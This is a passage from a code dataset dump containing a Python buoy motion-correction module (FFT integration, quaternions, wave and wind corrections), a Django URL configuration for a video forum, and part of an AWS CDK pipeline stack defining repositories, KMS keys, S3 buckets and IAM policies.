s.isnull().sum().max()\n if n_nans / n > 0.1:\n raise Exception(f\"Number of NaNs is {n_nans:d} out of {n:d}.\")\n\n # drop missing values only if are less than 10 percent of the data\n # TODO: not more than 100 consecutive missing values\n s = s.dropna(how=\"any\")\n\n # remove duplicate indices if they exist\n s = s[~s.index.duplicated(keep='first')]\n\n # sort data in ascending and reindex to the new time\n # i still dont know what is the difference between ffill/bfill\n s = s.sort_index().reindex(x_time, limit=1, method=\"bfill\").ffill()\n\n # crate new dictionary for output\n if hasattr(x, \"mask\"):\n return np.ma.masked_array(s.values, mask=x.mask)\n else:\n return s.values\n# }}}\n\n# complementery filter in using a digital filter {{{\ndef complementary_filter(signal_a, signal_b, fs, fm, filter_order=2):\n \"\"\"\"Returns a merge between two angles signal_a and signal_b in radians.\"\"\"\n \n # merge the signals using the merge frequency fm\n s = butterworth_filter(np.exp(1j*signal_a), fs, fm, filter_order, kind=\"low\") + \\\n butterworth_filter(np.exp(1j*signal_b), fs, fm, filter_order, kind=\"high\")\n\n return np.angle(s)\n\n# }}}\n\n# integration in the frequency domain {{{\ndef fft_integration(data, fs, fc=None, order=-1):\n \"\"\"Intergration of a signal in the frequency domain using FFT.\n \n This function implements the integration in the time domain by means of the\n Fast Fourier Transform. It also performs a band pass filter, removing all\n the unwanted frequencies.\n\n Args:\n signal (array): Numpy 1d-array with the data.\n fs (float or int): Sampling frequency.\n fc (float or tuple): This is the cut-off frequency. If fc is floating or\n integer a lowpass filter is performed. If fc is a list a band\n pass-pass filter is made between the two given frequencies.\n order (integer): Indicates the order of the integration. Negative number\n indicates integration while positive indicates differentiontion (not\n implemented yet).\n\n Return (array): Signal integrated.\n \"\"\"\n\n # check for nans if more than 10 percents\n nans = np.isnan(data)\n if len(nans.nonzero()[0]) / len(data) < 0.1:\n data[nans] = np.nanmean(data[~nans])\n else:\n return data * np.nan\n \n # if order == 0 do nothing\n if order == 0:\n return data\n\n # if order > 0 raise an error\n if order > 0:\n raise ValueError(\"Order must be a negative integer\")\n\n # get frequency array\n N = len(data)\n freqs = np.fft.fftfreq(N, 1/fs)\n \n # the first element of freqs array is zero, so we have\n # to discard it to avoid division by zero\n # the factor of integration is iw\n factor = 1j*2*np.pi*freqs[1:]\n \n # compute fft of the signal for the non-zero frequencies\n # and apply integration factor\n fft = np.zeros(len(freqs), 'complex')\n fft[1:] = np.fft.fft(data)[1:] * factor**order\n \n # high pass filter\n if fc is None:\n return np.fft.ifft(fft).real\n #\n elif isinstance(fc, float) or isinstance(fc, int):\n #\n if False: # <-- ideal filter just in case \n ix = abs(freqs) <= fc\n fft[ix] = 0.\n #\n else: # <- freqs response of a 3th order butterworth filter\n b, a = signal.butter(3, fc, 'high', analog=True)\n w, h = signal.freqs(b, a, worN=freqs)\n fft = fft * abs(h)\n\n return np.fft.ifft(fft).real\n# --- }}}\n\n# rotation matrix in three dimensions {{{\ndef vector_rotation(U, E, units=\"rad\"):\n \"\"\"Apply a three dimensional rotation of the vector U given the angles T.\n \n Args:\n U (tuple): Components of the vector U = (u, v, w)\n E (tuple): Rotation angles corresponding to roll (x), pitch (y) and\n yaw (z), respectively. E = (phi, theta, psi)\n units (str): Flag to choose input angles between degrees or radians.\n\n Return (float): Components of the rotated vector.\n \"\"\"\n\n # unpack tuples\n u, v, w = U\n phi, theta, psi = E\n\n # if input angles are in degrees, convert it to radians\n if units == \"deg\":\n phi, theta, psi = np.radians(phi), np.radians(theta), np.radians(psi)\n elif units == \"rad\":\n pass\n else:\n raise ValueError(\"units must be either def or rad\")\n\n # TODO: check validity of angles\n # phi and psi must be between -pi and pi\n # theta musr be between -pi/2 and pi/2\n\n # compute sins and cosines\n c_phi, c_theta, c_psi = np.cos(phi), np.cos(theta), np.cos(psi)\n s_phi, s_theta, s_psi = np.sin(phi), np.sin(theta), np.sin(psi)\n\n # apply the rotation of each components\n #\n # first component\n u_rot = (c_theta*c_psi) * u + \\\n (s_phi*s_theta*c_psi - c_phi*s_psi) * v + \\\n (c_phi*s_theta*c_psi + s_phi*s_psi) * w\n\n # second component\n v_rot = (c_theta*s_psi) * u + \\\n (s_phi*s_theta*s_psi + c_phi*c_psi) * v + \\\n (c_phi*s_theta*s_psi - s_phi*c_psi) * w\n\n # third component\n w_rot = (-s_theta) * u + \\\n (s_phi*c_theta) * v + \\\n (c_phi*c_theta) * w\n\n return u_rot, v_rot, w_rot\n\n\n# }}}\n\n# get an array of a regular distribution of wavestaffs {{{\ndef wavestaff_coordinates(N, R=0.866, theta_0=-270):\n \"\"\"This function returns position a regular array\n\n Function to get the coordinates (x, y) of and an array of wavestaffs formed by\n an regular N-vertices figured centered in (0,0) increasing counterclockwise\n Args:\n N (float): Number of vertices\n R (float): Separation\n theta_0 (float): Starting angle. 270 for the Ekinox reference frame.\n \n Returns:\n x (1d-array): x-coordinates of the array\n y (1d-array): y-coordinates of the array\n \"\"\"\n\n theta = np.arange(0, 360, 360/N) - theta_0\n x, y = [0], [0]\n x = np.append(x, R * np.cos(theta * np.pi / 180.))\n y = np.append(y, R * np.sin(theta * np.pi / 180.))\n\n return x, y\n# }}}\n\n\n# --- quaternions ---\n# euler_to_quaternions {{{\ndef euler_to_quaternions(T):\n \"\"\"Returns the quaterions associatted with the angles T=(phi,theta,psi).\"\"\"\n\n # unpack tuples\n phi, theta, psi = T\n\n # compute sins and cosines\n c_phi, c_theta, c_psi = np.cos(phi/2), np.cos(theta/2), np.cos(psi/2)\n s_phi, s_theta, s_psi = np.sin(phi/2), np.sin(theta/2), np.sin(psi/2)\n\n # compute quaternions components\n # q0 = 0.5*np.sqrt(1 + c_theta*s_psi + s_phi*s_theta*s_psi + \\\n # c_phi*c_psi + c_phi*c_theta)\n # #\n # q1 = (s_phi*c_theta - c_phi*s_theta*s_psi + s_phi*c_psi) / (4*q0)\n # #\n # q2 = (c_phi*s_theta*c_psi + s_phi*s_psi + s_theta) / (4*q0)\n # #\n # q3 = (c_theta*s_psi - s_phi*s_theta*c_psi + c_phi*s_psi) / (4*q0)\n\n q0 = c_phi * c_theta * c_psi + s_phi * s_theta * s_psi\n q1 = s_phi * c_theta * c_psi - c_phi * s_theta * s_psi\n q2 = c_phi * s_theta * c_psi + s_phi * c_theta * s_psi\n q3 = c_phi * c_theta * s_psi - s_phi * s_theta * c_psi\n\n return (q0, q1, q2, q3)\n\n# }}}\n\n# quaternion_product {{{\ndef quaternion_product(q, p):\n \"\"\"Returns the quaterion porduct o p=(p0,p1,p2,p3) and q=(q0,q1,q2,q3)\"\"\"\n\n # unpack tuples\n q0, q1, q2, q3 = q\n p0, p1, p2, p3 = p\n\n r0 = p0*q0 - p1*q1 - p2*q2 - p3*q3\n r1 = p0*q1 + p1*q0 + p2*q3 - p3*q2\n r2 = p0*q2 - p1*q3 + p2*q0 + p3*q1\n r3 = p0*q3 + p1*q2 - p2*q1 + p3*q0\n\n return (r0, r1, r2, r3)\n\n# }}}\n\n# quaternion_conjugate {{{\ndef quaternion_conjugate(q):\n \"\"\"Returns the quaterion conjugate\"\"\"\n q0, q1, q2, q3 = q\n return (q0, -q1, -q2, -q3)\n# }}}\n\n# quaternion_inverse {{{\ndef quaternion_inverse(q):\n \"\"\"Returns the quaterion conjugate\"\"\"\n\n norm = quaternion_norm(q)\n q_conj = quaternion_conjugate(q)\n\n return (q_conj[0]/norm, q_conj[1]/norm, q_conj[2]/norm, q_conj[3]/norm)\n# }}}\n\n# quaternion_norm {{{\ndef quaternion_norm(q):\n \"\"\"Returns the quaterion conjugate\"\"\"\n q0, q1, q2, q3 = q\n return q0**2 + q1**2 + q2**2 + q3**2\n# }}}\n\n# quaternion_theta {{{\ndef quaternion_theta(q):\n \"\"\"Returns the angle for the axis angle representation\"\"\"\n q0, q1, q2, q3 = q\n return 2 * np.arctan2(np.sqrt( q1**2 + q2**2 + q3**2), q0)\n# }}}\n\n# quaternion_rotation {{{\ndef quaternion_rotation(v, q, mode=\"frame\"):\n \"\"\"Returns the vector v rotated into the quaternion q\"\"\"\n\n p = (0, v[0], v[1], v[2])\n qinv = quaternion_inverse(q)\n if mode==\"frame\":\n r = quaternion_product(q, quaternion_product(p, qinv)) #qpq*\n elif mode==\"point\":\n r = quaternion_product(qinv, quaternion_product(p, q)) #q*pq\n else:\n raise Exception(\"Mode must be `frame` or `point`\")\n \n return r[1:]\n# }}}\n\n\n# --- compute yaw, pitch and roll ---\n# compute tilt from accelerations {{{\ndef tilt_from_accerometer(ax, ay, az):\n \"\"\"Compute the inclination from the acceleromter signal as complex number.\"\"\"\n\n # using the SBG rotation matrix and arctan\n phi = np.arctan2(ay, np.sqrt(ax**2 + az**2))\n theta = np.arctan2(-ax, np.sqrt(ay**2 + az**2))\n # alternatives with some slightlty differeces\n # phi = np.arctan(ay / az)\n # theta = np.arctan(-ax / (ay*np.sin(phi) + az*np.cos(phi)))\n # phi = np.arctan2(ay, az)\n # theta = np.arctan2(-ax, az)\n\n return phi, theta\n\n# }}}\n\n# compute pitch and roll using a complementary_filter {{{\ndef pitch_and_roll(ax, ay, az, wx, wy, wz, fs=100, fc=0.05, fm=1):\n \"\"\"Euler angles using a complementary filter in frequency domain.\"\"\"\n\n # compute pitch and roll from acclerometers\n phi_acc, theta_acc = tilt_from_accerometer(ax, ay, az)\n\n # compute pitch and roll from gyrospcope\n get_angle = lambda x: fft_integration(x, fs=fs, fc=fc, order=-1)\n phi_gyr, theta_gyr = get_angle(wx), get_angle(wy)\n\n # complementary filter\n phi = complementary_filter(phi_acc, phi_gyr, fs, fm=fm)\n theta = complementary_filter(theta_acc, theta_gyr, fs, fm=fm)\n\n # return data\n return phi, theta\n# }}}\n\n# orientation from magnetic north {{{\ndef yaw_from_magnetometer(wz, heading, fs=100, fc=0.05, fm=1):\n \"\"\"Returns the yaw angle measured clockwise from north.\n \n This function computes the yaw angle which is equivalent to the buoy\n orientation. The function requires the data from the accelerometer and the\n magnetometer heading. Data are interpolated to the maximum sampling\n frquency. Uses a complementary digital filter to merge the high frequency\n gyroscope data with the low frequency magnetometer.\n\n Args:\n wz (float): Angular rate of change in rad/s.\n heading (float): Heading angle from magnetometer or signature in rad.\n Fortunately the heading usually follows the nautical convention,\n this means that the angle is measured clockwise which is consistent\n withe the Ekinox convention for the angles (Tait-Bryan or North,\n Easth, Down).\n\n Returns (float): Orientation respect to magnetic north.\n \"\"\"\n\n # interpolate to the `wz` sampling frquency\n heading_fast = resample(wz, np.cos(heading)) + \\\n 1j* resample(wz, np.sin(heading))\n\n # compute psi angle from the magnetometre\n psi_mag = np.mod(np.ma.angle(heading_fast), 2*np.pi)\n mean_psi = np.nanmean(psi_mag)\n\n # compute pitch and roll from gyrospcope\n psi_gyr = fft_integration(wz, fs=fs, fc=fc, order=-1)\n\n # complementary filter\n psi = complementary_filter(psi_mag-mean_psi, psi_gyr, fs, fm)\n\n return np.mod(psi + mean_psi, 2*np.pi)\n# }}}\n\n\n# --- compute position and velocities ---\n# position correction {{{\ndef position_correction(X, A, E, fs=20, fc=0.05, q=5, full=False):\n \"\"\"Correcion of the position and the surface elevation.\n\n This function applies the correction of the surface elevation measured by\n the wavestaffs due to the buoy inertial motion. The correction is perform\n not only to the surface elevation (z coordinate) but also for the position\n in the x-y-plane. So, the input/output is the uncorrected/corrected\n time-varying position vector of the water surface.\n\n The equation to perfom such correction is given by\n \n // /\n x_E = R x_B + R || a_B dt + R | curl { Om_B, x_B } dt \n // /\n ---v--- -------v------- ------------v--------------\n x_obs x_acc x_rot\n\n where R is a rotation matrix.\n\n | cosp*cosy sinr*sinp*cosy-cosr*siny cosr*sinp*cosy+sinr*siny |\n R = | cosp*siny sinr*sinp*siny+cosr*cosy cosr*sinp*siny-sinr*cosy |\n | -sinp sinr*cosp cosr*cosp |\n\n in which, `p` is pitch (theta), `r` is roll (phi) and `y` is yaw (psi)\n\n In the same way, the matrix of angular rate of changes is given by:\n\n | - dpdt siny + drdt cosp cosy |\n Omega = | dpdt cosy + drdt cosp siny | \n | dydt - drdt sinp | \n\n Args:\n X (tuple): Contains the elements of X=(x,y,z). Each component is a time\n series given in a numpy 1d array.\n A (tuple): Contains the time series of the accelerations A=(ax, ay, az).\n E (dict): Contains the time series of the euler angles\n given by E=(roll, pitch, yaw).\n fs (float): Sampling frequency of the time series.\n fc (float): Cut-ff frequency for the integration. Could be a tuple.\n q (int): Factor to decimate the accelerometer data into wavestaff data.\n This value must be 5 since the ekinox frequency is 5 times the\n wavestaff frequency. When wavestaff measured at 10 Hz q must be 10.\n full (bool): Return full values or only the corrected ones. Default False.\n\n Returns: Tuple with the X tuple corrected. \n\n Note:\n Arrays must be clean before attempting to apply the correction.\n\n References:\n * Anctil Donelan Drennan Graber 1994, JAOT 11, 1144-1150\n * Drennan Donelan Madsen Katsaros Terray Flagg 1994, JAOT 11, 1109-1116\n \"\"\"\n\n # substract gravity acceleration effect\n G = vector_rotation((0,0,-9.8), E)\n\n # apply double integration in the frequency domain\n P = tuple(fft_integration(a, fs*q, fc=fc, order=-2) for a,g in zip(A,G))\n \n # compute the derivative of the euler angles\n D = tuple(np.gradient(e, 1/(fs*q)) for e in E)\n\n # decimate the high frequency signals to the given frecuency\n # note than in this function i use the following equivalences\n # roll --> r --> phi --> E[0]\n # pitch --> p --> theta --> E[1]\n # yaw --> y --> psi --> E[2]\n decimate = lambda x, q: x[::q]\n E_down = tuple(decimate(e, q) for e in E) # <- Euler\n P_down = tuple(decimate(p, q) for p in P) # <- Position\n D_down = tuple(decimate(d, q) for d in D) # <- Derivative\n\n # compute sines and cosines\n roll, pitch, yaw = E_down\n\n # convert observations into the inertial frame\n x_obs, y_obs, z_obs = vector_rotation(X, (roll, pitch, yaw))\n \n # correction due to translations\n x_acc, y_acc, z_acc = vector_rotation(P_down, (roll, pitch, yaw))\n\n # correction due to rotation\n xB, yB, zB = X\n droll, dpitch, dyaw = D_down\n curl = (fft_integration( dpitch*xB - dyaw*yB, fs, fc, order=-1),\n fft_integration(-dpitch*zB + dyaw*xB, fs, fc, order=-1),\n fft_integration( droll*yB - dpitch*xB, fs, fc, order=-1))\n x_rot, y_rot, z_rot = vector_rotation(curl, (roll, pitch, yaw))\n\n # compute earth-based water position\n xE = x_obs + x_acc + x_rot * 0\n yE = y_obs + y_acc + y_rot * 0\n zE = z_obs + z_acc + z_rot * 0\n\n # return data\n if full:\n return (x_obs,y_obs,z_obs), (x_acc,y_acc,z_acc), (x_rot,y_rot,z_rot)\n else:\n return xE, yE, zE\n\n# --- }}}\n\n# velocity correction {{{\ndef velocity_correction(U, A, E, L=(0,0,0), fs=100, fc=0.05, full=False):\n \"\"\"Correcion of the position and the surface elevation.\n\n This function applies the correction of the wind speed measured by the sonic\n anemometer due to the buoy inertial motion. \n\n The equation to perfom such correction is given by\n \n / \n u_E = R u_B + R | a_B dt + R curl { Om_B, L } dt \n / \n ---v--- -----v------ ----------v----------\n u_obs u_acc u_rot\n\n where R is a rotation matrix.\n\n | cosp*cosy sinr*sinp*cosy-cosr*siny cosr*sinp*cosy+sinr*siny |\n R = | cosp*siny sinr*sinp*siny+cosr*cosy cosr*sinp*siny-sinr*cosy |\n | -sinp sinr*cosp cosr*cosp |\n\n in which, `p` is pitch (theta), `r` is roll (phi) and `y` is yaw (psi)\n\n In the same way, the matrix of angular rate of changes is given by:\n\n | - dpdt siny + drdt cosp cosy |\n Omega = | dpdt cosy + drdt cosp siny | \n | dydt - drdt sinp | \n\n Args:\n U (tuple): Contains the elements of U=(u,v,w). Each component is a time\n series given in a numpy 1d array.\n A (tuple): Contains the time series of the accelerations A=(ax, ay, az).\n E (dict): Contains the time series of the euler angles\n given by E=(roll, pitch, yaw).\n L (tuple): Coordinates of the anemometer respect to IMU.\n fs (float): Sampling frequency of the time series.\n fc (float): Cut-off frequency for the integration. Could be a tuple.\n full (bool): Return full values or only the corrected ones. Default False.\n\n Returns: Tuple with the X tuple corrected. \n\n Note:\n Arrays must be clean before attempting to apply the correction.\n\n References:\n * Anctil Donelan Drennan Graber 1994, JAOT 11, 1144-1150\n * Drennan Donelan Madsen Katsaros Terray Flagg 1994, JAOT 11, 1109-1116\n \"\"\"\n\n # substract gravity acceleration effect\n G = vector_rotation((0,0,-9.8), E)\n \n # apply integration in the frequency domain and \n # compute the derivative of the euler angles\n V = tuple(fft_integration(a, fs, fc, order=-1) for a,g in zip(A,G))\n D = tuple(np.gradient(e, 1/fs) for e in E)\n\n # compute sines and cosines\n # note than in this function i use the following equivalences\n # roll --> r --> phi --> E[0]\n # pitch --> p --> theta --> E[1]\n # yaw --> y --> psi --> E[2]\n roll, pitch, yaw = E\n\n # convert observations into the inertial frame\n u_obs, v_obs, w_obs = vector_rotation(U, (roll, pitch, yaw))\n \n # correction due to translations\n u_acc, v_acc, w_acc = vector_rotation(V, (roll, pitch, yaw))\n\n # correction due to rotation\n Lx, Ly, Lz = L\n droll, dpitch, dyaw = D\n curl = (fft_integration( dpitch*Lz - dyaw*Ly, fs, fc=0, order=-1),\n fft_integration(-dpitch*Lz + dyaw*Lx, fs, fc=0, order=-1),\n fft_integration( droll*Ly - dpitch*Lx, fs, fc=0, order=-1))\n u_rot, v_rot, w_rot = vector_rotation(curl, (roll, pitch, yaw))\n\n # compute earth-based water position\n uE = u_obs + u_acc + u_rot\n vE = v_obs + v_acc + v_rot\n wE = w_obs + w_acc + w_rot\n \n if full:\n return (u_obs,v_obs,w_obs), (u_acc,v_acc,w_acc), (u_rot,v_rot,w_rot)\n else:\n return uE, vE, wE\n\n# --- }}}\n\n\n# --- run as a script ---\nif __name__ == \"__main__\":\n pass\n\n\n# --- end of file ---\n","repo_name":"dspelaez/bomm","sub_path":"src/processing/motion_correction.py","file_name":"motion_correction.py","file_ext":"py","file_size_in_byte":21093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"38"} +{"seq_id":"2710041485","text":"from django.urls import path\nfrom video_forum import views\n\napp_name = 'video_forum'\nurlpatterns = [\n path('mostlikes/', views.LikesVideoList.as_view(), name='likes_video'),\n path('mostcomments/', views.CommentsVideoList.as_view(), name='comments_video'),\n path('mostpopular/', views.PopularVideoList.as_view(), name='popular_video'),\n\n path('/comment//like/', views.like_video_comment, name='like_video_comment'),\n path('/like/', views.like_video, name='like_video'),\n\n path('/comment//delete/', views.delete_video_comment,\n name='delete_video_comment'),\n path('/comment//update/', views.UpdateVideoComment.as_view(),\n name='update_video_comment'),\n path('/comment/create/', views.create_video_comment,\n name='create_video_comment'),\n\n path('/delete/', views.DeleteVideo.as_view(), name='delete_video'),\n path('/update/', views.UpdateVideo.as_view(), name='update_video'),\n path('create/', views.CreateVideo.as_view(), name='create_video'),\n\n path('/', views.VideoDetail.as_view(), name='detail'),\n\n path('', views.VideoList.as_view(), name='index'),\n path('category//', views.CateogryVideoList.as_view(), name='category_video')\n]\n","repo_name":"godachoese/UnvaccinatedRestaurantGuide-Gazaahome","sub_path":"video_forum/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"17821815791","text":"from aws_cdk import core\nfrom aws_cdk import aws_iam as iam\nfrom aws_cdk import aws_kms as kms\nfrom aws_cdk import aws_s3 as s3\nfrom aws_cdk import aws_codecommit as codecommit\nfrom aws_cdk import aws_codebuild as codebuild\nfrom aws_cdk import aws_codepipeline as codepipeline\nfrom aws_cdk import aws_codepipeline_actions as codepipeline_actions\nimport json\nimport os\n\n# Pipeline Stack Parameters\nparams = {}\nwith open('stacks/pipeline_stack/cdk_stack_param.json', 'r') as f:\n params = json.load(f)\nprint(params)\n\nclass PipelineStack(core.Stack):\n\n def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n\n #####################################---START PREREQS---##########################################\n # Create a new Code Commit Repo for holding workload code\n source_repo = codecommit.Repository(\n self,\n 'CodeCommitRepo',\n repository_name = params['CODE_COMMIT_SOURCE_REPO_NAME'],\n description = 'Workload repository'\n )\n # Source Repo ARN is going to be passed into the subsequent stacks that are created after this one.\n self.source_repo_arn = source_repo.repository_arn\n\n ## Terraform workload statefile resource creation\n\n # encryption key for terraform workload state file bucket\n statefile_encryption_key = kms.Key(\n self,\n 'WorkloadStatefileEncryptionKey',\n #alias = core.Aws.STACK_NAME,\n alias = 'workload/statefile',\n description = 'Encryption key for workload statefile bucket',\n enabled = True,\n enable_key_rotation = True\n )\n\n # terraform workload state file bucket\n statefile_bucket = s3.Bucket(\n self,\n 'WorkloadStatefileS3Bucket',\n access_control = s3.BucketAccessControl.PRIVATE,\n bucket_name = params['WORKLOAD_STATEFILE_BUCKET_NAME_PREFIX']+core.Aws.ACCOUNT_ID+'-'+core.Aws.REGION,\n encryption = s3.BucketEncryption.KMS,\n encryption_key = statefile_encryption_key,\n lifecycle_rules = [\n s3.LifecycleRule(\n enabled = True,\n id = 'LccRule1-ExpireAllNoncurrentIn8Days',\n noncurrent_version_expiration = core.Duration.days(8),\n prefix = ''\n )\n ],\n public_read_access = False,\n removal_policy = core.RemovalPolicy.DESTROY,\n versioned = True\n )\n\n # CodePipeline artifact_bucket ecryption key\n pipeline_encryption_key = kms.Key(\n self,\n 'PipelineEncryptionKey',\n #alias = core.Aws.STACK_NAME,\n alias = 'codepipeline/workload',\n description = 'Encryption key for workload codepipeline artifact_bucket',\n enabled = True,\n enable_key_rotation = True\n )\n print(core.Aws.ACCOUNT_ID)\n\n # CodePipeline Bucket\n pipeline_bucket = s3.Bucket(\n self,\n 'CodePipelineS3Bucket',\n access_control = s3.BucketAccessControl.PRIVATE,\n bucket_name = 'pipeline-bucket-workload-'+core.Aws.ACCOUNT_ID,\n encryption = s3.BucketEncryption.KMS,\n encryption_key = pipeline_encryption_key,\n lifecycle_rules = [\n s3.LifecycleRule(\n enabled = True,\n id = 'LccRule1-ExpireAllNoncurrentIn8Days',\n noncurrent_version_expiration = core.Duration.days(8),\n prefix = ''\n )\n ],\n public_read_access = False,\n removal_policy = core.RemovalPolicy.DESTROY,\n versioned = True\n )\n\n # Retrieve cross account role from params\n cross_account_role = params['COMPLIANCE_CODE']['CROSS_ACCOUNT_ROLE_ARN']\n print(cross_account_role)\n\n # IAM Role for CodePipeline\n code_pipeline_role = iam.Role(\n self,\n 'CodePipelineRole',\n assumed_by = iam.ServicePrincipal('codepipeline.amazonaws.com')\n )\n\n # IAM Policy for CodePipeline\n code_pipeline_policy = iam.Policy(\n self,\n 'CodePipelinePolicy',\n roles = [\n code_pipeline_role\n ],\n statements = [\n iam.PolicyStatement(\n sid = 'KmsAllowKeyUsage',\n actions = [\n 'kms:DescribeKey',\n 'kms:GetKeyPolicy',\n 'kms:List*',\n 'kms:Encrypt',\n 'kms:Decrypt',\n 'kms:ReEncrypt*',\n 'kms:Generate*'\n ],\n effect = iam.Effect.ALLOW,\n resources = [\n pipeline_encryption_key.key_arn\n ]\n ),\n iam.PolicyStatement(\n sid = 'CodeCommitRepoAccess',\n actions = [\n 'codecommit:GetBranch',\n 'codecommit:GetCommit',\n 'codecommit:UploadArchive',\n 'codecommit:GetUploadArchiveStatus',\n 'codecommit:CancelUploadArchive'\n ],\n effect = iam.Effect.ALLOW,\n resources = [\n source_repo.repository_arn\n ]\n ),\n iam.PolicyStatement(\n sid = 'PipelineBucketAccess',\n actions = [\n 's3:GetBucket*',\n 's3:ListBucket*'\n ],\n effect = iam.Effect.ALLOW,\n resources = [\n pipeline_bucket.bucket_arn\n ]\n ),\n iam.PolicyStatement(\n sid = 'PipelineBucketObjectAccess',\n actions = [\n 's3:AbortMultipartUpload',\n 's3:GetObject*',\n 's3:PutObject*',\n 's3:DeleteObject*',\n 's3:RestoreObject',\n 's3:ListMultipartUploadParts'\n ],\n effect = iam.Effect.ALLOW,\n resources = [\n pipeline_bucket.bucket_arn+'/*'\n ]\n ),\n iam.PolicyStatement(\n sid = 'PassRoleAccess',\n actions = [\n 'iam:PassRole'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'BuilStartStopAccess',\n actions = [\n 'codebuild:StartBuild',\n 'codebuild:BatchGetBuilds'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'AssumeDeploymentRolePolicy',\n actions = [\n 'sts:AssumeRole'\n ],\n effect = iam.Effect.ALLOW,\n resources = [cross_account_role]\n )\n ]\n )\n\n # IAM Role for CodeBuild projects\n code_build_role = iam.Role(\n self,\n 'CodeBuildRole',\n assumed_by = iam.ServicePrincipal('codebuild.amazonaws.com')\n )\n\n # IAM Policy for CodeBuild Projects\n code_build_policy = iam.Policy(\n self,\n 'CodeBuildPolicy',\n roles = [\n code_build_role\n ],\n statements = [\n iam.PolicyStatement(\n sid = 'KmsAllowKeyUsage',\n actions = [\n 'kms:DescribeKey',\n 'kms:GetKeyPolicy',\n 'kms:List*',\n 'kms:Encrypt',\n 'kms:Decrypt',\n 'kms:ReEncrypt*',\n 'kms:Generate*',\n 'kms:TagResource',\n 'kms:UntagResource',\n 'kms:CreateKey',\n 'kms:GetKeyRotationStatus',\n 'kms:ScheduleKeyDeletion',\n 'kms:PutKeyPolicy'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'CloudWatchLogsPermissionsForAllCodeBuildProjects',\n actions = [\n 'logs:*'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'S3BucketAccess',\n actions = [\n 's3:GetBucket*',\n 's3:ListBucket*',\n 's3:CreateBucket',\n 's3:DeleteBucket',\n 's3:PutBucketTagging',\n 's3:PutLifecycleConfiguration',\n 's3:GetLifecycleConfiguration',\n 's3:GetEncryptionConfiguration',\n 's3:PutEncryptionConfiguration',\n 's3:GetAccelerateConfiguration',\n 's3:PutAccelerateConfiguration',\n 's3:GetReplicationConfiguration',\n 's3:PutReplicationConfiguration',\n 's3:ReplicateTags',\n 's3:GetBucketPolicy',\n 's3:PutBucketPolicy',\n 's3:PutBucketLifecycle',\n 's3:GetAccelerateConfiguration',\n 's3:GetObject',\n 's3:PutObject',\n 's3:DeleteObjectVersion',\n 's3:GetBucketLogging',\n 's3:PutBucketLogging'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'StateFileBucketObjectAccess',\n actions = [\n 's3:GetObject*',\n 's3:PutObject*'\n ],\n effect = iam.Effect.ALLOW,\n resources = [\n statefile_bucket.bucket_arn+'/*'\n ]\n ),\n iam.PolicyStatement(\n sid = 'CodeCommitAccessPolicy',\n actions = [\n 'codecommit:*'\n ],\n effect = iam.Effect.ALLOW,\n resources = [\n source_repo.repository_arn\n ]\n ),\n iam.PolicyStatement(\n sid = 'PassRoleAccess',\n actions = [\n 'iam:PassRole',\n 'iam:CreateRole',\n 'iam:TagRole',\n 'iam:GetRole',\n 'iam:CreateInstanceProfile',\n 'iam:GetInstanceProfile',\n 'iam:DeleteInstanceProfile',\n 'iam:AddRoleToInstanceProfile',\n 'iam:ListInstanceProfilesForRole',\n 'iam:ListRolePolicies',\n 'iam:ListAttachedRolePolicies',\n 'iam:TagInstanceProfile',\n 'iam:RemoveRoleFromInstanceProfile',\n 'iam:DeleteRole'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'CodeBuildPermissions',\n actions = [\n 'codebuild:Get*',\n 'codebuild:List*',\n 'codebuild:Describe*',\n 'codebuild:*Report*',\n 'codebuild:BatchPutTestCases'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'SnsPermissions',\n actions = [\n 'sns:CreateTopic',\n 'sns:TagResource',\n 'sns:GetTopicAttributes',\n 'sns:ListTagsForResource',\n 'SNS:DeleteTopic'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'DlmPermissions',\n actions = [\n 'dlm:*'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'CWPermissions',\n actions = [\n 'cloudwatch:*',\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'CloudTrailPermissions',\n actions = [\n 'cloudtrail:*',\n ],\n effect = iam.Effect.ALLOW,\n resources = ['*']\n ),\n iam.PolicyStatement(\n sid = 'LambdaPermissions',\n actions = [\n 'lambda:*'\n ],\n effect = iam.Effect.ALLOW,\n resources = ['arn:aws:lambda:*:*:function:demo-lambda']\n ),\n iam.PolicyStatement(\n sid = 'ec2Permissions',\n actions = [\n 'ec2:AuthorizeSecurityGroupEgress',\n 'ec2:AuthorizeSecurityGroupIngress',\n 'ec2:CreateSecurityGroup',\n 'ec2:DeleteSecurityGroup',\n 'ec2:DescribeSecurityGroups',\n 'ec2:RevokeSecurityGroupEgress',\n 'ec2:UpdateSecurityGroupRuleDescriptionsIngress',\n 'ec2:UpdateSecurityGroupRuleDescriptionsEgress',\n 'ec2:DescribeTags',\n 'ec2:CreateTags',\n 'ec2:DeleteTags',\n 'ec2:CreateVolume',\n 'ec2:DescribeVolume*',\n 'ec2:DescribeAvailabilityZones',\n 'ec2:CreateKeyPair',\n 'ec2:DeleteKeyPair',\n 'ec2:ImportKeyPair',\n 'ec2:DescribeKeyPairs',\n 'ec2:RunInstances',\n 'ec2:DescribeInstances',\n 'ec2:DescribeInstanceStatus',\n 'ec2:AssociateIamInstanceProfile',\n 'ec2:StartInstances',\n 'ec2:StopInstances',\n 'ec2:TerminateInstances',\n 'ec2:DescribeInstanceAttribute',\n 'ec2:DescribeVpcs',\n 